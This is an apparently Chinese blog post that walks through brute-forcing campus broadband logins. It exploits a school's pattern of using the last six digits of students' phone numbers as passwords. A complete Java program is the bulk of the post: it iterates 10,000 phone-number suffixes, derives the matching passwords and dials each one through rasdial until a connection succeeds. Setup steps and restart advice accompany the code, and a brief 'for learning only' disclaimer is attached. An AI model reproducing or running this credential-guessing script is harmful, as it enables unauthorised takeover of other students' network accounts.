爆破校园网的宽带
创始人
2024-04-02 17:29:53
0

前提:学校的手机号前7位相同,宽带密码都是手机号后六位。仅供学习。

准备工作:电脑一台,把校园网的宽带水晶头插在电脑上,

步骤:

  1. win+R输入Rasphone
  2. 点击新建,宽带,输入宽带名称(要记住这个名字,最好是英文字母的组合,账号与密码不用填),创建。
  3. 执行下面的代码,把下面的手机号段前七位改为你要爆破的,youName改成你创建的宽带连接。
    import java.io.BufferedReader;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.InputStreamReader;//暴力破解宽带
    public class Main {static String phoneFirst = "1322395";  //手机号的前七位static String yourName = "xin";        //你起的宽带连接名/*** 执行CMD命令,并返回String字符串*/public static String executeCmd(String strCmd) throws Exception {Process p = Runtime.getRuntime().exec("cmd /c " + strCmd);StringBuilder sbCmd = new StringBuilder();BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GBK"));String line;while ((line = br.readLine()) != null) {sbCmd.append(line + "\n");}return sbCmd.toString();}/*** ADSL连接宽带*/public static boolean connAdsl(String adslTitle, String adslName, String adslPass) throws Exception {System.out.println("正在建立连接.");String adslCmd = "rasdial " + adslTitle + " " + adslName + " " + adslPass;String tempCmd = executeCmd(adslCmd);// 判断是否连接成功if (tempCmd.indexOf("已连接") > 0) {System.out.println("已成功建立连接.");return true;} else {System.err.println(tempCmd);System.err.println("建立连接失败");return false;}}/*** 断开ADSL*/public static boolean cutAdsl(String adslTitle) throws Exception {String cutAdsl = "rasdial " + adslTitle + " /disconnect";String result = executeCmd(cutAdsl);if (result.indexOf("没有连接") != -1) {System.err.println(adslTitle + "连接不存在!");return false;} else {System.out.println("连接已断开");return true;}}/*** 测试网络是否连接*/public static boolean isConnect() {boolean connect = false;Runtime runtime = Runtime.getRuntime();Process process;try {process = runtime.exec("ping " + "www.baidu.com");InputStream is = process.getInputStream();InputStreamReader isr = new InputStreamReader(is);BufferedReader br = new BufferedReader(isr);String line = null;StringBuffer sb = new StringBuffer();while ((line = br.readLine()) != null) {sb.append(line);}System.out.println("返回值为:" + sb);is.close();isr.close();br.close();if (null != sb && !sb.toString().equals("")) {if (sb.toString().indexOf("TTL") > 0) {// 网络畅通connect = true;} else {// 网络不畅通connect = false;}}} catch (IOException e) {e.printStackTrace();}return connect;}//测试代码public static void main(String[] args) throws InterruptedException,Exception {for (int i = 0; i <= 9999; i++) {boolean connect = isConnect();String str = String.format("%04d", i);//获得长度为4的数字String username = phoneFirst + str;//宽带账号System.out.println("宽带账户:" + username);String password = username.substring(6);if (i % 3 == 0) {Thread.sleep(200);//防止拨号过于频繁}if (!connect) {//没有拨号成功,则取消上次拨号executeCmd("Rasdial " + yourName + " /DISCONNECT");System.out.println("无网络,正在重新拨号");connAdsl(yourName, username, password);//重新拨号} else {System.out.println("网络正常");//破解成功,后面的break会暂停。break;}}}
    }

 如果执行中途退出了,再次执行的时候一定要把你创建的宽带连接删除掉,从第一步开始重新来!

相关内容

热门资讯

监控摄像头接入GB28181平... 流程简介将监控摄像头的视频在网站和APP中直播,要解决的几个问题是:1&...
Windows10添加群晖磁盘... 在使用群晖NAS时,我们需要通过本地映射的方式把NAS映射成本地的一块磁盘使用。 通过...
protocol buffer... 目录 目录 什么是protocol buffer 1.protobuf 1.1安装  1.2使用...
在Word、WPS中插入AxM... 引言 我最近需要写一些文章,在排版时发现AxMath插入的公式竟然会导致行间距异常&#...
Fluent中创建监测点 1 概述某些仿真问题,需要创建监测点,用于获取空间定点的数据࿰...
educoder数据结构与算法...                                                   ...
MySQL下载和安装(Wind... 前言:刚换了一台电脑,里面所有东西都需要重新配置,习惯了所...
MFC文件操作  MFC提供了一个文件操作的基类CFile,这个类提供了一个没有缓存的二进制格式的磁盘...
有效的括号 一、题目 给定一个只包括 '(',')','{','}'...
【PdgCntEditor】解... 一、问题背景 大部分的图书对应的PDF,目录中的页码并非PDF中直接索引的页码...